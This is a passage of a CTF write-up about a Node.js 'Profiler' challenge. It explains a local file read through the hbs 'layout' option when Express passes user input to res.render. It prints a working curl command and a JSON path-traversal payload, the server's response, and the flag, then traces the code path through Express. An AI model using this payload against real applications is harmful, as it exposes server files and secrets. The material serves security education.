&lt;p&gt;Can you find the flag: 𝗰𝗳𝗿𝗲𝗮𝗸{.*}&lt;a href=&quot;https://twitter.com/hashtag/nodejs?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#nodejs&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/javascript?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#javascript&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/JS?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#JS&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/ctf?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#ctf&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/bugbounty?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#bugbounty&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CaptainFreak (@0xCaptainFreak) &lt;a href=&quot;https://x.com/shoebpatel_/status/1350083997854928897?ref_src=twsrc%5Etfw&quot;&gt;January 15, 2021&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Turns out this was not known, Even after giving the whole &lt;a href=&quot;https://github.com/CaptainFreak/Web-CTF-Challenges&quot;&gt;source code&lt;/a&gt; of the challenge, only 4 people were able to solve it (all CTFers 🥳):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/JiriPospisil&quot;&gt;@JiriPospisil&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/CurseRed&quot;&gt;@CurseRed&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Mrigank11&quot;&gt;@zevtnax&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/po6ix&quot;&gt;@po6ix&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Congrats to all the solvers 🎊 and thanks a lot to everybody who tried out the challenge.&lt;/p&gt;
&lt;p&gt;For the people who still wanna try out, I plan to keep the &lt;a href=&quot;http://ctf.shoebpatel.com:9090/&quot;&gt;Profiler Challenge&lt;/a&gt; up for one more week. Stop Reading and check it out now!&lt;/p&gt;
&lt;h2 id=&quot;Challenge-Solution&quot;&gt;Challenge Solution&lt;/h2&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; -X&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &apos;POST&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; -H&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &apos;Content-Type: application/json&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; --data-binary&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; $&apos;{\&quot;profile\&quot;:{&quot;layout\&quot;: \&quot;./../routes/index.js\&quot;}}&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &apos;http://ctf.shoebpatel.com:9090/&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;HTTP request:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;POST / HTTP/1.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Host: ctf.shoebpatel.com:9090&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Content-Length: 48&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Content-Type: application/json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;profile&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;layout&quot;: &quot;./../routes/index.js&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;HTTP Response (content of &lt;code&gt;routes/index.js&lt;/code&gt;):&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;HTTP/1.1 200 OK&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;X-Powered-By: Express&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Content-Type: text/html; charset=utf-8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Content-Length: 463&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;var express = require(&apos;express&apos;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;var router = express.Router();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;const flag = &quot;cfreak{It&apos;s called Dependency Hell for a reason! (https://github.com/pillarjs/hbs/blob/master/lib/hbs.js#L122)}&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/* GET home page. */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;router.get(&apos;/&apos;, function(req, res, next) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; 	res.render(&apos;index&apos;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;router.post(&apos;/&apos;, function(req, res, next) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	var profile = req.body.profile&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; 	res.render(&apos;index&apos;, profile)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;module.exports = router;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Flag:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;&quot;cfreak{It&apos;s called Dependency Hell for a reason! (https://github.com/pillarjs/hbs/blob/master/lib/hbs.js#L122)}&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That’s It! What the heck, right? You might be thinking, what even is this &lt;code&gt;layout&lt;/code&gt; parameter? and where is it even coming from. Soo out of context!&lt;/p&gt;
&lt;p&gt;If you like Code Review, why don’t you find out? It will be a good code review exercise.&lt;/p&gt;
&lt;h2 id=&quot;Secret-layout-parameter&quot;&gt;Secret &lt;code&gt;layout&lt;/code&gt; parameter&lt;/h2&gt;
&lt;p&gt;To find out from where it is coming, we can track the flow of our input from Source to Sink till we find out the reason why LFR is happening.&lt;/p&gt;
&lt;h4 id=&quot;Source-Line-3&quot;&gt;Source (Line 3):&lt;/h4&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;router.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;post&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;/&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;next&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;	var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; profile &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; req.body.profile&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; 	res.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;index&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, profile)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s follow the path this profile object argument takes.&lt;/p&gt;
&lt;h4 id=&quot;Definition-of-res-render-in-ExpressJs-Link&quot;&gt;Definition of &lt;code&gt;res.render&lt;/code&gt; in ExpressJs. &lt;a href=&quot;https://github.com/expressjs/express/blob/master/lib/response.js#L989&quot;&gt;Link&lt;/a&gt;&lt;/h4&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;res.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; render&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;view&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;options&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;callback&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; app &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.req.app;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; opts &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; options &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; {};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;  ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;  ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6A737D;--shiki-dark:#6A737D&quot;&gt;  // render&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;  app.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(view, opts, done);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;“index” argument became &lt;code&gt;view&lt;/code&gt; &amp;amp; our &lt;code&gt;profile&lt;/code&gt; argument became the &lt;code&gt;options&lt;/code&gt; parameter which became &lt;code&gt;opts&lt;/code&gt; and got flown into &lt;code&gt;app.render&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&quot;Definition-of-req-app-render-in-ExpressJs-Link&quot;&gt;Definition of &lt;code&gt;req.app.render&lt;/code&gt; in ExpressJs. &lt;a href=&quot;https://github.com/expressjs/express/blob/master/lib/application.js#L531&quot;&gt;Link&lt;/a&gt;&lt;/h4&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; render&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;options&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;callback&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; opts &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; options;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; renderOptions &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; {};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; view;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;  ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;  merge&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(renderOptions, opts);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; View &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;view&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;  view &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; View&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(name, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      defaultEngine: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;view engine&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      root: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;views&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      engines: engines&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6A737D;--shiki-dark:#6A737D&quot;&gt;  // render&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;  tryRender&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(view, renderOptions, done);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; tryRender&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;view&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;options&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;callback&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;  try&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    view.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(options, callback);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; (err) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;    callback&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(err);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
